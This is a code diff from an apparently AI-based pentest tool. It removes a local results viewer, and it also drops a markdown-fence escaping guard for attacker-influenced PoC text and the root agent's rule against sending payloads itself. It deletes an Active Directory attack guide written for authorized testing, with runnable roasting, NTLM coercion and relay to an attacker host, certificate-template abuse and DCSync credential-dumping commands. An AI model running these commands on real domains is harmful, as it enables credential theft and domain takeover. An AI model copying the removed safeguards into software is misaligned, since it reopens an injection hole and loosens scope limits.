@@ -762,29 +759,6 @@ def display_completion_message(
|
||||
results_text.append(str(results_path), style="#60a5fa")
|
||||
panel_parts.extend(["\n", results_text])
|
||||
|
||||
if web_url:
|
||||
web_text = Text()
|
||||
web_text.append("\n")
|
||||
web_text.append("View in web", style="dim")
|
||||
web_text.append(" ")
|
||||
# OSC-8 hyperlink: clickable in modern terminals, falls back to the URL.
|
||||
web_text.append(web_url, style=f"#60a5fa link {web_url}")
|
||||
panel_parts.extend(["\n", web_text])
|
||||
|
||||
reopen_text = Text()
|
||||
reopen_text.append("\n")
|
||||
reopen_text.append("Reopen", style="dim")
|
||||
reopen_text.append(" ")
|
||||
reopen_text.append(f"strix view {args.run_name}", style="#22c55e")
|
||||
panel_parts.extend(["\n", reopen_text])
|
||||
else:
|
||||
view_text = Text()
|
||||
view_text.append("\n")
|
||||
view_text.append("View", style="dim")
|
||||
view_text.append(" ")
|
||||
view_text.append(f"strix view {args.run_name}", style="#22c55e")
|
||||
panel_parts.extend(["\n", view_text])
|
||||
|
||||
if not scan_completed:
|
||||
resume_text = Text()
|
||||
resume_text.append("\n")
|
||||
@@ -872,14 +846,6 @@ def main() -> None:
|
||||
if sys.platform == "win32":
|
||||
asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy())
|
||||
|
||||
# `strix view [<run>]` is a viewer-only subcommand, dispatched before the
|
||||
# scan argument parser (which requires a target) and before any scan setup.
|
||||
if len(sys.argv) > 1 and sys.argv[1] == "view":
|
||||
from strix.viewer.cli import run_view
|
||||
|
||||
run_view(sys.argv[2:])
|
||||
return
|
||||
|
||||
args = parse_arguments()
|
||||
|
||||
if args.config:
|
||||
@@ -974,40 +940,7 @@ def main() -> None:
|
||||
scarf.end(report_state, exit_reason=exit_reason)
|
||||
|
||||
results_path = run_dir_for(args.run_name)
|
||||
|
||||
# For an interactive run, host the local viewer so the completion panel can
|
||||
# show a clickable "View in web" link. Skipped in non-interactive/CI runs
|
||||
# (no TTY to serve and it would block the process).
|
||||
viewer_httpd = None
|
||||
web_url = None
|
||||
if not args.non_interactive and sys.stdout.isatty():
|
||||
from strix.viewer.server import authorized_url, bundle_is_built, serve
|
||||
|
||||
if bundle_is_built():
|
||||
try:
|
||||
viewer_httpd, base_url, token = serve(results_path, open_browser=False)
|
||||
# The completion panel's "View in web" link must authorize the
|
||||
# browser, so hand it the tokened URL rather than the bare host.
|
||||
web_url = authorized_url(base_url, token)
|
||||
posthog.viewer_opened(source="post_scan", live=False)
|
||||
except Exception:
|
||||
logger.debug("could not start local viewer", exc_info=True)
|
||||
viewer_httpd, web_url = None, None
|
||||
|
||||
display_completion_message(args, results_path, web_url=web_url)
|
||||
|
||||
if viewer_httpd is not None:
|
||||
console = Console()
|
||||
console.print("[dim]Hosting the local viewer. Press Ctrl-C to stop.[/]")
|
||||
console.print()
|
||||
try:
|
||||
while True:
|
||||
time.sleep(1)
|
||||
except KeyboardInterrupt:
|
||||
console.print("\n[dim]Viewer stopped.[/]")
|
||||
finally:
|
||||
viewer_httpd.shutdown()
|
||||
viewer_httpd.server_close()
|
||||
display_completion_message(args, results_path)
|
||||
|
||||
if args.non_interactive:
|
||||
report_state = get_global_report_state()
|
||||
|
||||
@@ -6,7 +6,6 @@ import logging
|
||||
import signal
|
||||
import sys
|
||||
import threading
|
||||
import webbrowser
|
||||
from collections.abc import Callable
|
||||
from importlib.metadata import PackageNotFoundError
|
||||
from importlib.metadata import version as pkg_version
|
||||
@@ -769,7 +768,6 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
Binding("ctrl+q", "request_quit", "Quit", priority=True),
|
||||
Binding("ctrl+c", "request_quit", "Quit", priority=True),
|
||||
Binding("escape", "stop_selected_agent", "Stop Agent", priority=True),
|
||||
Binding("ctrl+o", "open_viewer", "Open Viewer", priority=True),
|
||||
]
|
||||
|
||||
def __init__(self, args: argparse.Namespace):
|
||||
@@ -796,8 +794,6 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
self._displayed_events: list[str] = []
|
||||
|
||||
self._scan_thread: threading.Thread | None = None
|
||||
self._viewer_httpd: Any = None
|
||||
self._viewer_url: str | None = None
|
||||
self._scan_loop: asyncio.AbstractEventLoop | None = None
|
||||
self._scan_stop_event = threading.Event()
|
||||
self._scan_completed = threading.Event()
|
||||
@@ -907,12 +903,7 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
|
||||
vulnerabilities_panel = VulnerabilitiesPanel(id="vulnerabilities_panel")
|
||||
|
||||
viewer_cta = Static(self._viewer_cta_markup(), id="viewer_cta")
|
||||
viewer_cta.ALLOW_SELECT = False
|
||||
|
||||
sidebar = Vertical(
|
||||
viewer_cta, agents_tree, vulnerabilities_panel, stats_scroll, id="sidebar"
|
||||
)
|
||||
sidebar = Vertical(agents_tree, vulnerabilities_panel, stats_scroll, id="sidebar")
|
||||
|
||||
content_container.mount(chat_area_container)
|
||||
content_container.mount(sidebar)
|
||||
@@ -1814,7 +1805,6 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
|
||||
async def action_custom_quit(self) -> None:
|
||||
self._fire_sandbox_cleanup()
|
||||
self._shutdown_viewer()
|
||||
|
||||
if self._scan_thread and self._scan_thread.is_alive():
|
||||
self._scan_stop_event.set()
|
||||
@@ -1823,70 +1813,6 @@ class StrixTUIApp(App): # type: ignore[misc]
|
||||
|
||||
self.exit()
|
||||
|
||||
def _viewer_cta_markup(self, url: str | None = None) -> str:
|
||||
if url:
|
||||
return f"[@click=app.open_viewer][#22c55e]● Viewer running[/][/]\n[dim]{url}[/]"
|
||||
return "[@click=app.open_viewer]▶ Watch live in browser[/]"
|
||||
|
||||
def _set_viewer_cta(self, markup: str) -> None:
|
||||
with contextlib.suppress(Exception):
|
||||
self.query_one("#viewer_cta", Static).update(markup)
|
||||
|
||||
def action_open_viewer(self) -> None:
|
||||
if self._viewer_url:
|
||||
with contextlib.suppress(Exception):
|
||||
webbrowser.open(self._viewer_url)
|
||||
return
|
||||
try:
|
||||
from strix.viewer.server import authorized_url, bundle_is_built, serve
|
||||
|
||||
if not bundle_is_built():
|
||||
self._set_viewer_cta("[#eab308]Viewer UI not built[/]")
|
||||
return
|
||||
run_dir = self.report_state.get_run_dir()
|
||||
|
||||
def _viewer_steer(agent_id: str, message: str) -> bool:
|
||||
# Reuse the exact TUI delivery path, but target the agent the
|
||||
# web graph selected (not the TUI's current selection).
|
||||
return send_user_message_to_agent(
|
||||
coordinator=self.coordinator,
|
||||
loop=self._scan_loop,
|
||||
live_view=self.live_view,
|
||||
target_agent_id=agent_id,
|
||||
message=message,
|
||||
)
|
||||
|
||||
httpd, url, token = serve(run_dir, open_browser=True, steer_handler=_viewer_steer)
|
||||
except Exception:
|
||||
logger.debug("failed to start local viewer", exc_info=True)
|
||||
self._set_viewer_cta("[red]Viewer failed to start[/]")
|
||||
return
|
||||
self._viewer_httpd = httpd
|
||||
# Store the tokened URL so reopening the CTA re-authorizes the browser
|
||||
# (this viewer carries a steer handler, so the session is required).
|
||||
self._viewer_url = authorized_url(url, token)
|
||||
self._set_viewer_cta(self._viewer_cta_markup(self._viewer_url))
|
||||
|
||||
with contextlib.suppress(Exception):
|
||||
from strix.telemetry import posthog
|
||||
|
||||
live = self.report_state.run_record.get("status") not in {
|
||||
"completed",
|
||||
"stopped",
|
||||
"failed",
|
||||
"interrupted",
|
||||
}
|
||||
posthog.viewer_opened(source="tui", live=live)
|
||||
|
||||
def _shutdown_viewer(self) -> None:
|
||||
httpd = self._viewer_httpd
|
||||
if httpd is None:
|
||||
return
|
||||
self._viewer_httpd = None
|
||||
with contextlib.suppress(Exception):
|
||||
httpd.shutdown()
|
||||
httpd.server_close()
|
||||
|
||||
def _fire_sandbox_cleanup(self) -> None:
|
||||
self.coordinator.mark_shutting_down()
|
||||
loop = self._scan_loop
|
||||
|
||||
@@ -24,26 +24,14 @@ def load_session_history(run_dir: Path, agent_ids: Any) -> list[tuple[str, dict[
|
||||
if not agents_db.exists() or not session_ids:
|
||||
return []
|
||||
session_id_set = set(session_ids)
|
||||
# Open read-only: the scan process may be actively writing this WAL database
|
||||
# from another process (the local viewer tails it live), and a reader must
|
||||
# never lock or mutate it. mode=ro (not immutable=1) still reads the latest
|
||||
# committed WAL state; WAL permits concurrent readers alongside the writer.
|
||||
conn: sqlite3.Connection | None = None
|
||||
try:
|
||||
conn = sqlite3.connect(
|
||||
f"file:{agents_db}?mode=ro",
|
||||
uri=True,
|
||||
check_same_thread=False,
|
||||
)
|
||||
rows = conn.execute(
|
||||
"select id, session_id, message_data, created_at from agent_messages order by id"
|
||||
).fetchall()
|
||||
with sqlite3.connect(agents_db) as conn:
|
||||
rows = conn.execute(
|
||||
"select id, session_id, message_data, created_at from agent_messages order by id"
|
||||
).fetchall()
|
||||
except sqlite3.Error:
|
||||
logger.exception("Failed to hydrate TUI history from %s", agents_db)
|
||||
return []
|
||||
finally:
|
||||
if conn is not None:
|
||||
conn.close()
|
||||
|
||||
items: list[tuple[str, dict[str, Any], str]] = []
|
||||
for row_id, agent_id, message_data, created_at in rows:
|
||||
|
||||
+4
-26
@@ -6,7 +6,6 @@ import csv
|
||||
import io
|
||||
import json
|
||||
import logging
|
||||
import re
|
||||
import tempfile
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
@@ -19,21 +18,6 @@ logger = logging.getLogger(__name__)
|
||||
|
||||
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
|
||||
|
||||
_BACKTICK_RUN = re.compile(r"`+")
|
||||
|
||||
|
||||
def _safe_fence(content: str) -> str:
|
||||
"""Return a backtick fence that ``content`` cannot break out of.
|
||||
|
||||
Per CommonMark a fenced code block is closed only by a run of backticks at
|
||||
least as long as the opening fence. LLM-authored, attacker-influenced values
|
||||
(PoC scripts, code snippets) may contain their own ``` runs, so we open with
|
||||
a fence one backtick longer than the longest run inside ``content`` (never
|
||||
fewer than three). Everything in ``content`` then renders verbatim.
|
||||
"""
|
||||
longest = max((len(m.group()) for m in _BACKTICK_RUN.finditer(content)), default=0)
|
||||
return "`" * max(3, longest + 1)
|
||||
|
||||
|
||||
def read_run_record(run_dir: Path) -> dict[str, Any]:
|
||||
path = run_record_path(run_dir)
|
||||
@@ -187,11 +171,9 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
|
||||
lines.append(str(report["poc_description"]))
|
||||
lines.append("")
|
||||
if report.get("poc_script_code"):
|
||||
code = str(report["poc_script_code"])
|
||||
fence = _safe_fence(code)
|
||||
lines.append(fence)
|
||||
lines.append(code)
|
||||
lines.append(fence)
|
||||
lines.append("```")
|
||||
lines.append(str(report["poc_script_code"]))
|
||||
lines.append("```")
|
||||
lines.append("")
|
||||
|
||||
if report.get("code_locations"):
|
||||
@@ -208,11 +190,7 @@ def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PL
|
||||
if loc.get("label"):
|
||||
lines.append(f" {loc['label']}")
|
||||
if loc.get("snippet"):
|
||||
snippet = str(loc["snippet"])
|
||||
fence = _safe_fence(snippet)
|
||||
lines.append(f" {fence}")
|
||||
lines.extend(f" {ln}" for ln in snippet.splitlines())
|
||||
lines.append(f" {fence}")
|
||||
lines.append(f" ```\n {loc['snippet']}\n ```")
|
||||
if loc.get("fix_before") or loc.get("fix_after"):
|
||||
lines.append("\n **Suggested Fix:**")
|
||||
lines.append("```diff")
|
||||
|
||||
@@ -5,7 +5,7 @@ description: Orchestration layer that coordinates specialized subagents for secu
|
||||
|
||||
# Root Agent
|
||||
|
||||
Orchestration layer for security assessments. This agent coordinates specialized subagents but does not perform testing directly. You never run scanners, crawlers, or fuzzers and never send exploit/injection payloads yourself — not even a quick "basic" test on a discovered endpoint. Any work that touches the target is delegated to a subagent.
|
||||
Orchestration layer for security assessments. This agent coordinates specialized subagents but does not perform testing directly.
|
||||
|
||||
You can create agents throughout the testing process—not just at the beginning. Spawn agents dynamically based on findings and evolving scope.
|
||||
|
||||
@@ -18,7 +18,7 @@ You can create agents throughout the testing process—not just at the beginning
|
||||
|
||||
## Scope Decomposition
|
||||
|
||||
Before spawning agents, analyze the target from the scan config/scope and any provided context (and, once recon subagents report, from their results) — not by running recon tools yourself:
|
||||
Before spawning agents, analyze the target:
|
||||
|
||||
1. **Identify attack surfaces** - web apps, APIs, infrastructure, etc.
|
||||
2. **Define boundaries** - in-scope domains, IP ranges, excluded assets
|
||||
@@ -72,7 +72,8 @@ Before creating agents:
|
||||
Complex findings warrant specialized subagents:
|
||||
- Discovery agent finds potential vulnerability
|
||||
- Validation agent confirms exploitability
|
||||
- Reporting agent documents with reproduction steps AND supplies the fix inline (the report tool carries the patch via `code_locations`/`fix_pr_body`) — do not add a separate fix agent that re-derives the same patch
|
||||
- Reporting agent documents with reproduction steps
|
||||
- Fix agent provides remediation (if needed)
|
||||
|
||||
**Resource Efficiency**
|
||||
|
||||
|
||||
@@ -1,233 +0,0 @@
|
||||
---
|
||||
name: active_directory
|
||||
description: Active Directory / Kerberos domain testing covering roasting, delegation abuse, AD CS (ESC1-ESC17), NTLM coercion+relay, DACL abuse, and credential dumping
|
||||
---
|
||||
|
||||
# Active Directory
|
||||
|
||||
Active Directory compromise usually comes from misconfiguration, not memory-corruption bugs: a roastable service account, a delegation flag, a vulnerable certificate template, or an over-permissive ACL turns a single low-priv domain user into Domain Admin. Almost every step needs valid domain credentials (or a foothold to coerce them), and almost every path ends at DCSync or a forged ticket. Test the identity layer — Kerberos, LDAP, NTLM, SMB, AD CS — not the marketing website in front of it.
|
||||
|
||||
## Attack Surface
|
||||
|
||||
**Core services (per domain controller)**
|
||||
- Kerberos (88/tcp+udp), LDAP/LDAPS (389/636), Global Catalog (3268/3269)
|
||||
- SMB (445), RPC/DCE endpoint mapper (135) + high dynamic ports, NetBIOS (137-139)
|
||||
- DNS (53) — AD-integrated, often allows dynamic updates (ADIDNS)
|
||||
- WinRM (5985/5986), RDP (3389), MSSQL (1433) on member servers
|
||||
- AD CS: Certificate Authority + web enrollment (`/certsrv`, `/ADPolicyProvider_CEP_*`, ES/CES)
|
||||
|
||||
**Principals & objects**
|
||||
- Users, computers (`$` accounts), gMSA/sMSA, groups, GPOs, OUs, trusts
|
||||
- `servicePrincipalName`, `userAccountControl` flags, `msDS-AllowedToDelegateTo`, `msDS-AllowedToActOnBehalfOfOtherIdentity`, `msDS-KeyCredentialLink`
|
||||
- DACLs on objects (GenericAll/GenericWrite/WriteDacl/WriteOwner/AddSelf)
|
||||
|
||||
**Trust boundaries**
|
||||
- Intra-forest (parent/child), inter-forest, external, SID history
|
||||
- `MachineAccountQuota` (default 10 → any user can join computer accounts)
|
||||
|
||||
## Reconnaissance
|
||||
|
||||
**Anonymous / pre-auth (no creds)**
|
||||
```
|
||||
# Domain + naming context from LDAP rootDSE
|
||||
nmap -Pn -p 389 --script ldap-rootdse <DC>
|
||||
# SMB null session / signing / OS
|
||||
nmap -Pn -p445 --script "smb-os-discovery,smb2-security-mode" <DC>
|
||||
enum4linux-ng -A <DC>
|
||||
# Username-less user enum via Kerberos pre-auth
|
||||
kerbrute userenum -d <DOMAIN> --dc <DC> users.txt
|
||||
```
|
||||
|
||||
**Authenticated enumeration (any valid user)**
|
||||
```
|
||||
nxc ldap <DC> -u <USER> -p <PASS> # confirm creds + domain info
|
||||
nxc smb <SUBNET> -u <USER> -p <PASS> --shares # readable/writable shares
|
||||
nxc ldap <DC> -u <USER> -p <PASS> --users --groups --pass-pol
|
||||
ldapdomaindump ldap://<DC> -u '<DOMAIN>\<USER>' -p <PASS>
|
||||
```
|
||||
|
||||
**BloodHound graph (the single most valuable step)**
|
||||
```
|
||||
bloodhound-ce-python -d <DOMAIN> -u <USER> -p <PASS> -c All -ns <DC_IP> --zip
|
||||
# or, remote SharpHound-equivalent collector:
|
||||
nxc ldap <DC> -u <USER> -p <PASS> --bloodhound --collection-method All --dns-server <DC_IP>
|
||||
```
|
||||
Import into BloodHound (CE) and run the built-in "Shortest paths to Domain Admins" / "Owned principals" queries before touching anything else.
|
||||
|
||||
## Key Vulnerabilities
|
||||
|
||||
### Kerberos Roasting
|
||||
|
||||
**Kerberoasting** — any authenticated user can request a service ticket (RC4/`$krb5tgs$23$`) for any account with an SPN and crack it offline. Human-set service-account passwords are the target; machine accounts are usually uncrackable.
|
||||
```
|
||||
nxc ldap <DC> -u <USER> -p <PASS> --kerberoasting kerb.txt
|
||||
# or impacket
|
||||
GetUserSPNs.py -request -dc-ip <DC_IP> <DOMAIN>/<USER>:<PASS> -outputfile kerb.txt
|
||||
hashcat -m 13100 kerb.txt wordlist.txt
|
||||
```
|
||||
|
||||
**AS-REP Roasting** — accounts with `DONT_REQ_PREAUTH` yield a crackable `$krb5asrep$23$` blob with *no* creds needed if the username is known.
|
||||
```
|
||||
GetNPUsers.py <DOMAIN>/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
|
||||
hashcat -m 18200 asrep.txt wordlist.txt
|
||||
```
|
||||
|
||||
**Targeted Kerberoasting** — with GenericAll/GenericWrite over a user, add an SPN, roast, then remove it.
|
||||
|
||||
### Delegation Abuse
|
||||
|
||||
- **Unconstrained** (`TRUSTED_FOR_DELEGATION`) — compromise the host, coerce a DC/DA to auth to it (PrinterBug/PetitPotam), capture their TGT from LSA, reuse it. Straight to DCSync.
|
||||
- **Constrained** (`msDS-AllowedToDelegateTo`) — S4U2Self+S4U2Proxy to impersonate any user to the listed SPN; swap the SPN service class (`cifs`/`host`/`ldap`) for broader access.
|
||||
- **RBCD** (`msDS-AllowedToActOnBehalfOfOtherIdentity`) — with write access over a computer object + `MachineAccountQuota>0`, create a fake computer, set RBCD, S4U to get an admin ticket for that host.
|
||||
```
|
||||
# RBCD chain
|
||||
addcomputer.py -computer-name FAKE$ -computer-pass P@ss <DOMAIN>/<USER>:<PASS>
|
||||
rbcd.py -delegate-from FAKE$ -delegate-to TARGET$ -action write <DOMAIN>/<USER>:<PASS>
|
||||
getST.py -spn cifs/target.<DOMAIN> -impersonate Administrator <DOMAIN>/FAKE$:P@ss
|
||||
```
|
||||
|
||||
### AD Certificate Services (ESC1-ESC17)
|
||||
|
||||
AD CS is the highest-yield modern path — one misconfigured template promotes a low-priv user to DA and survives password resets. Enumerate first, everything else follows:
|
||||
```
|
||||
certipy find -u <USER>@<DOMAIN> -p <PASS> -dc-ip <DC_IP> -vulnerable -stdout
|
||||
```
|
||||
- **ESC1** — template allows enrollee-supplied SAN + client-auth EKU → request a cert as `administrator`:
|
||||
```
|
||||
certipy req -u <USER>@<DOMAIN> -p <PASS> -ca <CA> -template <T> -upn administrator@<DOMAIN>
|
||||
certipy auth -pfx administrator.pfx -dc-ip <DC_IP> # → NT hash / TGT
|
||||
```
|
||||
- **ESC8** — NTLM relay to the CA web-enrollment endpoint (coerce a DC, relay to `/certsrv`) → DC certificate → DCSync.
|
||||
- **ESC others** — ESC2/3 (any-purpose/enrollment-agent), ESC4 (writable template DACL → make it ESC1), ESC6 (`EDITF_ATTRIBUTESUBJECTALTNAME2` on the CA), ESC7 (CA officer rights), ESC9/10 (weak cert mapping), ESC11 (RPC relay), ESC13 (issuance-policy→group), ESC15 (app-policy on v1 templates). `certipy find -vulnerable` flags each.
|
||||
|
||||
### NTLM Coercion & Relay
|
||||
|
||||
Force a privileged machine to authenticate to you, then relay that NTLM auth to a service that doesn't enforce signing/EPA (LDAP, AD CS, SMB).
|
||||
```
|
||||
# 1. Start the relay (LDAP → RBCD, or AD CS → cert)
|
||||
ntlmrelayx.py -t ldap://<DC> --delegate-access --no-dump
|
||||
ntlmrelayx.py -t http://<CA>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
|
||||
# 2. Coerce a target to authenticate
|
||||
coercer coerce -u <USER> -p <PASS> -t <TARGET> -l <ATTACKER_IP>
|
||||
PetitPotam.py -u <USER> -p <PASS> <ATTACKER_IP> <DC> # MS-EFSR
|
||||
printerbug.py <DOMAIN>/<USER>:<PASS>@<TARGET> <ATTACKER_IP> # MS-RPRN
|
||||
```
|
||||
LLMNR/NBT-NS/mDNS poisoning with Responder captures NetNTLMv2 hashes on the broadcast segment for offline cracking or relay.
|
||||
|
||||
### DACL / Object Abuse
|
||||
|
||||
From BloodHound edges:
|
||||
- **GenericAll/GenericWrite** on a user → targeted Kerberoast or Shadow Credentials (`msDS-KeyCredentialLink` via Certipy/pywhisker → PKINIT → NT hash).
|
||||
- **WriteDacl/WriteOwner** → grant yourself GenericAll, then DCSync rights on the domain object.
|
||||
- **ForceChangePassword** → reset a target's password.
|
||||
- **AddMember** on a privileged group → self-add.
|
||||
- **GPO edit rights** → push an immediate scheduled task / local admin to linked OUs.
|
||||
```
|
||||
# Shadow Credentials (no password reset needed, stealthier)
|
||||
certipy shadow auto -u <USER>@<DOMAIN> -p <PASS> -account <TARGET> -dc-ip <DC_IP>
|
||||
# bloodyAD for generic DACL edits
|
||||
bloodyAD -u <USER> -p <PASS> -d <DOMAIN> --host <DC> add genericAll <TARGET_DN> <USER>
|
||||
```
|
||||
|
||||
### Credential Access & Domain Dominance
|
||||
|
||||
- **DCSync** (with replication rights — `DS-Replication-Get-Changes*`) dumps any/all hashes incl. `krbtgt`:
|
||||
```
|
||||
secretsdump.py <DOMAIN>/<USER>:<PASS>@<DC> -just-dc-user krbtgt
|
||||
nxc smb <DC> -u <USER> -p <PASS> --ntds # full NTDS.dit
|
||||
```
|
||||
- **Golden ticket** (`krbtgt` hash) / **Silver ticket** (service acct hash) / **Diamond ticket** — forge TGTs/STs for persistence.
|
||||
- **Pass-the-Hash / OverPass-the-Hash / Pass-the-Ticket** — reuse NT hashes or Kerberos tickets without the plaintext.
|
||||
- **LAPS / gMSA** — readable `ms-Mcs-AdmPwd` or `msDS-ManagedPassword` grants local admin / service creds.
|
||||
|
||||
### Known unauthenticated CVEs (patch-dependent)
|
||||
|
||||
- **ZeroLogon** (CVE-2020-1472) — resets the DC machine account to null, instant DA on unpatched DCs.
|
||||
- **noPac** (CVE-2021-42278/42287) — sAMAccountName spoofing → impersonate DC.
|
||||
- **PrintNightmare** (CVE-2021-1675/34527), **PetitPotam** (unauth MS-EFSR pre-KB5005413).
|
||||
Confirm with a version/patch check before firing — these are destructive.
|
||||
|
||||
## Advanced Techniques
|
||||
|
||||
- **UnPAC-the-hash** — recover a user's NT hash from a PKINIT/cert auth (Certipy `auth` prints it).
|
||||
- **sAMAccountName spoofing** chain (noPac) when `MachineAccountQuota>0` and DCs unpatched.
|
||||
- **SID history injection** across trusts for cross-domain/forest escalation.
|
||||
- **ADIDNS poisoning** — add wildcard/records via authenticated LDAP to intercept name resolution.
|
||||
- **Timeroast** — roast computer-account passwords via NTP if the DC exposes MS-SNTP.
|
||||
|
||||
## Testing Methodology
|
||||
|
||||
1. **Foothold check** — Confirm creds work (`nxc ldap/smb`) and note privileges; note `MachineAccountQuota` and password policy.
|
||||
2. **BloodHound first** — Collect + graph before manual work; mark the foothold principal as owned and read the DA paths.
|
||||
3. **Low-noise credential harvest** — AS-REP roast (no auth), Kerberoast, readable LAPS/gMSA, GPP passwords in SYSVOL.
|
||||
4. **AD CS sweep** — `certipy find -vulnerable`; it is often the shortest path and independent of the BloodHound graph.
|
||||
5. **DACL edges** — Walk each BloodHound edge from owned → high value; prefer Shadow Credentials over password resets (reversible, quieter).
|
||||
6. **Delegation** — Enumerate unconstrained/constrained/RBCD; chain with coercion where a privileged auth is needed.
|
||||
7. **Coercion + relay** — Only where signing/EPA is off; identify the relay target (LDAP/AD CS) first.
|
||||
8. **Prove domain dominance** — DCSync `krbtgt` / a target user, then stop. Do not persist (golden ticket) on client engagements unless in scope.
|
||||
|
||||
## Validation
|
||||
|
||||
1. Show the exact misconfiguration (SPN, `userAccountControl` flag, template flags, ACE, missing patch) with the enumerating tool's raw output.
|
||||
2. Demonstrate the privilege gained — a cracked service-account password, an issued certificate authenticating as a privileged user, or an NT hash from DCSync.
|
||||
3. Provide the full chain: owned principal → edge/misconfig → escalation step → resulting access, with commands and evidence at each hop.
|
||||
4. Tie the impact to a concrete identity (e.g. "user `svc-sql` → Domain Admins") rather than a generic "AD is misconfigured".
|
||||
5. For coercion/relay, capture both the coerced authentication and the relayed action succeeding.
|
||||
|
||||
## False Positives
|
||||
|
||||
- Kerberoastable SPN on a **machine account** — password is 120-char random, effectively uncrackable; not a finding on its own.
|
||||
- `certipy find` lists a template as ESC-vulnerable but enrollment rights exclude your principal (check the `Enrollment Rights` / `Requires Manager Approval` fields).
|
||||
- Delegation flags present but the account is disabled or the target SPN is unreachable.
|
||||
- Relay target enforces SMB/LDAP signing or channel binding (EPA) — the relay will fail; not exploitable.
|
||||
- DCs fully patched — ZeroLogon/noPac/PetitPotam checks report "not vulnerable".
|
||||
- "Writable" share that only exposes a redirected/quarantined path with no useful content.
|
||||
|
||||
## Impact
|
||||
|
||||
- Full domain (and often forest) compromise: read/modify all objects, all credentials, all data.
|
||||
- Persistent, patch-surviving access via golden tickets, forged certificates, or SID history.
|
||||
- Lateral movement to every domain-joined host (file servers, databases, hypervisors).
|
||||
- Ransomware blast radius — DA is the standard pivot for domain-wide deployment.
|
||||
|
||||
## Pro Tips
|
||||
|
||||
1. BloodHound before brute force — the graph turns hours of guessing into a named path; always mark owned nodes.
|
||||
2. Prefer AS-REP roasting and `certipy find` early — both are quiet and one needs no creds.
|
||||
3. Shadow Credentials > password reset when you have write access: reversible, doesn't lock out the account, no plaintext needed.
|
||||
4. Fix clock skew before Kerberos work: `sudo ntpdate <DC>` (or `faketime`) — `KRB_AP_ERR_SKEW` kills ticket ops.
|
||||
5. Use FQDNs and set `/etc/resolv.conf` to the DC (or `--dns-server`); Kerberos and LDAP referrals break on bare IPs.
|
||||
6. `nxc` (NetExec) is the CrackMapExec successor — CME is unmaintained; use `nxc` and its `--gen-relay-list`, `--bloodhound`, `-M` modules.
|
||||
7. Pair with `nmap` (service/port discovery) and `authentication_jwt` skills where the domain fronts web SSO (ADFS/SAML).
|
||||
|
||||
## Tooling
|
||||
|
||||
**None of the AD tools below ship in the Strix sandbox by default** (the image is Kali-rolling but installs only web-focused tooling). Install what the task needs — the sandbox has `pipx`, `pip`, `go`, `git`, and Kali's apt repos. AD testing also requires **network reachability to the target DC/subnet**, which the default web-target sandbox usually lacks; confirm connectivity first.
|
||||
|
||||
```
|
||||
# Python identity toolkit (impacket = GetUserSPNs/GetNPUsers/secretsdump/ntlmrelayx/getST/addcomputer/rbcd)
|
||||
pipx install impacket
|
||||
pipx install netexec # nxc — CME successor: ldap/smb/winrm enum, roasting, bloodhound, ntds
|
||||
pipx install certipy-ad # AD CS enum + ESC1-ESC17 abuse, shadow credentials
|
||||
pipx install bloodhound-ce # bloodhound-ce-python collector (BloodHound CE ingestor)
|
||||
pipx install coercer # multi-protocol coercion (MS-EFSR/RPRN/DFSNM/FSRVP)
|
||||
pipx install bloodyAD # DACL / LDAP object edits over LDAP
|
||||
pipx install ldapdomaindump # LDAP dumper (bloodhound.py author)
|
||||
go install github.com/ropnop/kerbrute@latest # kerbrute (Go) — user enum / pre-auth brute
|
||||
|
||||
# Kali apt packages
|
||||
sudo apt-get install -y smbclient ldap-utils krb5-user enum4linux-ng responder hashcat john
|
||||
```
|
||||
|
||||
- **NetExec (`nxc`)** — swiss-army enum/exec across smb/ldap/winrm/mssql; use for creds validation, share hunting, `--kerberoasting`, `--bloodhound`, `--ntds`.
|
||||
- **impacket** — the canonical scriptable attack primitives (roasting, S4U, relay, secretsdump, ticket forging).
|
||||
- **Certipy** — AD CS: `find -vulnerable`, `req`, `auth`, `shadow`, relay; covers the full ESC1-ESC17 set.
|
||||
- **BloodHound CE + collector** — attack-path graphing; the first thing to run with any valid credential.
|
||||
- **Responder / ntlmrelayx / Coercer / PetitPotam** — the poisoning→coercion→relay chain (needs L2 access or a coercible target).
|
||||
- **hashcat / john** — offline cracking of roasted `$krb5tgs$`/`$krb5asrep$` blobs (modes `13100` / `18200`).
|
||||
|
||||
Humans often use GUI BloodHound and Windows-side C# tooling (SharpHound, Rubeus, Certify, PowerView); in-sandbox prefer the Python/Linux equivalents above (`bloodhound-ce-python`, impacket, Certipy, `nxc`).
|
||||
|
||||
## Summary
|
||||
|
||||
AD compromise is a graph problem: start from a valid credential, map paths with BloodHound, and chain misconfigurations — roastable accounts, delegation flags, vulnerable certificate templates, coercion+relay, and permissive DACLs — until you reach DCSync or a forged ticket. The identity plane (Kerberos/LDAP/NTLM/SMB/AD CS), not the perimeter, is where domains fall.
|
||||
@@ -142,52 +142,6 @@ def end(report_state: "ReportState", exit_reason: str = "completed") -> None:
|
||||
)
|
||||
|
||||
|
||||
def viewer_opened(source: str, live: bool) -> None:
|
||||
_send(
|
||||
"viewer_opened",
|
||||
{
|
||||
**base_props(),
|
||||
"source": source,
|
||||
"live": live,
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def viewer_cta_clicked(cta: str, surface: str | None = None) -> None:
|
||||
props = {
|
||||
**base_props(),
|
||||
"cta": cta[:64],
|
||||
}
|
||||
if surface:
|
||||
props["surface"] = surface[:64]
|
||||
_send("viewer_cta_clicked", props)
|
||||
|
||||
|
||||
_VIEWER_EMAIL_STEPS = frozenset(
|
||||
{"email_submitted", "email_verified", "report_sent", "work_email_required"}
|
||||
)
|
||||
|
||||
|
||||
def viewer_email_event(step: str, purpose: str | None = None) -> None:
|
||||
if step not in _VIEWER_EMAIL_STEPS:
|
||||
return
|
||||
_send(
|
||||
f"viewer_{step}",
|
||||
{
|
||||
**base_props(),
|
||||
**({"purpose": purpose} if purpose else {}),
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
def viewer_feedback_submitted() -> None:
|
||||
